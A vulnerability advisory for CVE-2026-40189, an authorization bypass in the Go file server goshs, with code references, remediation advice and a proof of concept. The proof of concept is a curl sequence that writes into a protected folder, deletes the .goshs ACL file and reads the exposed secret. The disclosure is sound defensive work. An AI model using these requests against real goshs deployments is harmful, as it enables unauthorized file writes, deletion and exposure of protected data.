CVE-2026-40189: goshs has a file-based ACL authorization bypass in goshs state-changing routes
Summary goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory.
Published Apr 10, 2026 · Updated Apr 15, 2026
Affected packages
github.com/patrickhener/goshs
- Ecosystem
- Go
- Affected
- <= 1.1.4
- Fixed in
- No patched version yet
- Check
go list -m github.com/patrickhener/goshs
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability.
Details
The project README explicitly documents file-based ACLs as a security feature:
README.md:59- "You can place a .goshs in any folder to apply custom ACLs"README.md:61- "You can apply custom basic auth per folder"
The read/list path correctly enforces .goshs:
httpserver/filebased.go:10-49loads.goshshttpserver/handler.go:68-91callsfindSpecialFile()for directorieshttpserver/handler.go:94-101callsfindSpecialFile()for fileshttpserver/handler.go:285-305applies custom authhttpserver/handler.go:545-565enforces folder auth during directory renderinghttpserver/handler.go:590-630enforces file auth and blocked entries during file serving
However, the state-changing routes bypass this logic entirely:
httpserver/server.go:94-100routes multipartPOST /.../uploaddirectly toupload()httpserver/server.go:105-109routesPUTdirectly toput()httpserver/handler.go:119-123dispatches?mkdirdirectly tohandleMkdir()httpserver/handler.go:181-187dispatches?deletedirectly todeleteFile()httpserver/updown.go:18-60writes files forPUTwithout checking.goshshttpserver/updown.go:63-165writes files for multipart upload without checking.goshshttpserver/handler.go:679-698deletes files withos.RemoveAll()without checking.goshshttpserver/handler.go:901-937creates directories withos.MkdirAll()without checking.goshs
This is not a path traversal issue. The path remains inside the configured root after sanitization. The vulnerability is that authorization is applied inconsistently: reads are protected, but writes and deletes are not. Because .goshs itself can be deleted through the unauthenticated delete route, the attacker can escalate the impact from unauthorized modification to full removal of the folder's auth barrier.
PoC
Environment used for verification:
- Repository/module:
github.com/patrickhener/goshs - Verified vulnerable tag:
v2.0.0-beta.3 - Also present in the
v1.1.4line based on code inspection - Local host:
127.0.0.1:18091
Build and setup:
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta3'
go build -o /tmp/goshs_acl_verify/goshs ./
rm -rf /tmp/goshs_acl_verify/root
mkdir -p /tmp/goshs_acl_verify/root/protected
cp integration/keepFiles/goshsACLAuth /tmp/goshs_acl_verify/root/protected/.goshs
printf 'top secret\n' > /tmp/goshs_acl_verify/root/protected/secret.txt
/tmp/goshs_acl_verify/goshs -d /tmp/goshs_acl_verify/root -p 18091In a second terminal:
# The protected folder initially requires auth
curl -s -o /dev/null -w '%{http_code}\n' 'http://127.0.0.1:18091/protected/'
# Unauthenticated write into the protected folder succeeds
curl -s -o /dev/null -w '%{http_code}\n' -X PUT \
--data-binary 'injected via PUT' \
'http://127.0.0.1:18091/protected/put-created.txt'
# Unauthenticated deletion of the ACL file succeeds
curl -s -o /dev/null -w '%{http_code}\n' \
'http://127.0.0.1:18091/protected/.goshs?delete'
# The previously protected file is now publicly accessible
curl -s -o /dev/null -w '%{http_code}\n' \
'http://127.0.0.1:18091/protected/secret.txt'
curl -s 'http://127.0.0.1:18091/protected/secret.txt'Expected results:
401
200
200
200
top secretNote: if using zsh, the URL containing ?delete must be quoted, or the shell will treat ? as a wildcard and the request will not be sent.
PoC Video for reference:
https://github.com/user-attachments/assets/deb9106e-6dfa-47c0-95c1-993c2cbc9ee7
Impact
This is an authorization bypass affecting deployments that rely on .goshs for per-folder protection. A remote unauthenticated attacker can:
- create or overwrite files inside a folder that should require authentication
- create directories inside the protected folder
- delete arbitrary files reachable through the vulnerable route inside that protected folder
- delete the
.goshspolicy file itself - read previously protected files once the policy file has been removed
In practice, this breaks the security boundary promised by the file-based ACL feature and can expose sensitive files while also allowing unauthorized modification or destruction of protected content.
Remediation
- Enforce
.goshsauthorization checks for all state-changing operations, not just read/list flows. BeforePUT, multipart upload, delete, and mkdir, resolve the effective folder ACL and deny the request unless the caller satisfiesacl.Auth. - Protect
.goshsas a special file in mutation handlers. The application already prevents serving.goshs; it should also reject deletion, overwrite, or replacement of.goshsthrough HTTP routes unless the request is properly authorized. - Add regression tests covering protected folders for every mutation path. The test suite should verify that
PUT,POST /upload,?delete, and?mkdirall fail without valid credentials when a.goshsfile is present.
Credited to R1ZZG0D.
References
- https://github.com/patrickhener/goshs/security/advisories/GHSA-wvhv-qcqf-f3cx
- https://github.com/patrickhener/goshs/commit/f212c4f4a126556bab008f79758e21a839ef2c0f
- https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4
- https://nvd.nist.gov/vuln/detail/CVE-2026-40189
- https://github.com/advisories/GHSA-wvhv-qcqf-f3cx
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-64863
goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite
critical9.1No fixJul 28, 2026CVE-2026-40884
goshs has an empty-username SFTP password authentication bypass
critical9.8No fixApr 14, 2026CVE-2026-35392
goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs PUT Upload
critical9.8Apr 3, 2026CVE-2026-35393
goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs POST multipart upload
critical9.8Apr 3, 2026CVE-2026-35471
goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
critical9.8Apr 3, 2026CVE-2025-46816
goshs route not protected, allows command execution
critical9.4May 6, 2025
